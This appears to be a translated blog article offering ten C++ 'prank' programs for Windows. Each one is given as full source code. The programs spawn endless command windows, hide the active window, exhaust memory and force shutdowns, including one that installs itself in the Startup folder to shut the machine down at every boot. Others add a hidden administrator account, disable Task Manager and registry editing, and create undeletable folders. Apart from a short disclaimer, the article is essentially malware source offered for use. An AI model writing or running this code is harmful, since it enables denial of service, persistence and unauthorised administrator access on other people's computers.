Note: The following code should not be used illegally (Dev-c++5.11 test is available)
0. Infinitely generated cmd
Solution: Just close the program
Code:
#include<bits/stdc++.h> #include<> using namespace std; int main() { while(1)system("start cmd"); }
1. Make the mouse clicked application disappear
Solution: None
Code:
#include<bits/stdc++.h> #include<> using namespace std; int main() { while(1) { HWND hWnd=GetForegroundWindow(); ShowWindow(hWnd,SW_HIDE); } }
2. Make the mouse fly randomly
Solution: Use the arrow keys to select the program, click Delete to close it
Code:
#include<bits/stdc++.h> #include<> using namespace std; int main() { while(1) { SetCursorPos(rand()%1000,rand()%1000); } }
3. Turn off the machine immediately or regularly
Solution: cmd (Win+R, input: cmd), enter shutdown -a
Code:
#include<bits/stdc++.h> #include<> using namespace std; int main() { system("shutdown -s -t 60");->1minute system("shutdown -p");->immediately }
4. Stopped
Note: Windows versions may not work
Solution: Use the arrow keys to select the program, click Delete to close it
Code:
#include<bits/stdc++.h> #include<> using namespace std; int main() { while(1)malloc(1000); }
Warning: Starting from 5. is a dangerous/permanent procedure, please use it with caution
5. Turn off the machine when it is turned on
Tip: Operation startup item may be intercepted by antivirus software
Solution: Antivirus software
Code: (Save in C:\, generate C:\ after compilation, and you can also change 18 lines of code)
#include <> #include <> #include <> #pragma comment(lib, "") BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName) { char szStartupPath[MAX_PATH] = { 0 }; char szDestFilePath[MAX_PATH] = { 0 }; SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE); wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName); CopyFile(lpszSrcFilePath, szDestFilePath, FALSE); return TRUE; } int main(int argc, char * argv[]) { AutoRun_Startup("c://", ""); system("shutdown /p"); return 0; }
6. Add user
Tip: It may be blocked by antivirus software
Solution: Antivirus software
Code:
#include <> #include <> #include <> #include <> #pragma comment(lib,"netapi32") void AddUser(LPWSTR UserName, LPWSTR Password) { USER_INFO_1 user; user.usri1_name = UserName; user.usri1_password = Password; user.usri1_priv = USER_PRIV_USER; user.usri1_home_dir = NULL; user.usri1_comment = NULL; user.usri1_flags = UF_SCRIPT; user.usri1_script_path = NULL; if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success) printf("Create user completion \n"); LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname = user.usri1_name; if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success) printf("Add to group complete \n"); } void EnumUser() { LPUSER_INFO_0 pBuf = NULL; LPUSER_INFO_0 pTmpBuf; DWORD dwLevel = 0; DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH; DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0; DWORD i; NET_API_STATUS nStatus; LPTSTR pszServerName = NULL; do { nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT, (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle); if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) { if ((pTmpBuf = pBuf) != NULL) { for (i = 0; (i < dwEntriesRead); i++) { assert(pTmpBuf != NULL); if (pTmpBuf == NULL) { break; } wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf); pTmpBuf++; } } } if (pBuf != NULL) { NetApiBufferFree(pBuf); pBuf = NULL; } } while (nStatus == ERROR_MORE_DATA); NetApiBufferFree(pBuf); } int main(int argc, char *argv[]) { AddUser(L"lyshark", L"123123"); EnumUser(); system("pause"); return 0; }
7. Disable Task Manager
Tip: It may be blocked by antivirus software
Code:
#include <> #include <> int main() { HKEY hkey; DWORD value = 1; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); RegCloseKey(hkey); return 0; }
8. Disable the registry
Tip: It may be blocked by antivirus software
Code:
#include <> #include <> int main() { HKEY hkey; DWORD value = 1; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); RegCloseKey(hkey); return 0; }
9. Desktop wallpaper
Code:
#include <> #include <> int main() { DWORD value = 1; HKEY hkey; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3); RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); return 0; }
10. Files cannot be deleted
Solution: Change lines 51-52 to lines 52
Code:
#include <> #include <> #include <> // Add non-delete filesBOOL SetImmunity(char *FilePath,char *FileName) { char file[2048] = { 0 }; strncpy(file, FilePath, strlen(FilePath)); strcat(file, FileName); BOOL bRet = CreateDirectory(file, NULL); if (bRet) { strcat(file, "\\anti...\\"); bRet = CreateDirectory(file, NULL); if (bRet) { SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN); return TRUE; } } return FALSE; } void ClearImmunity(char *FilePath, char *FileName) { char file[2048] = { 0 }; strncpy(file, FilePath, strlen(FilePath)); strcat(file, FileName); strcat(file, "\\anti...\\"); RemoveDirectory(file); ZeroMemory(file, MAX_PATH); strncpy(file, FilePath, strlen(FilePath)); strcat(file, FileName); RemoveDirectory(file); } int main(int argc, char * argv[]) { char *Fuk[4] = { "you", "good", "World", "boundary" }; int FukLen = sizeof(Fuk) / sizeof(int); TCHAR Destop[MAX_PATH]; SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE); for (int x = 0; x < FukLen; x++) { SetImmunity("c://", Fuk[x]); //ClearImmunity("c://", Fuk[x]); } system("pause"); return 0; }
This is the article about the collection of ten C++ spoof friends. For more related C++ spoof code content, please search for my previous articles or continue browsing the related articles below. I hope everyone will support me in the future!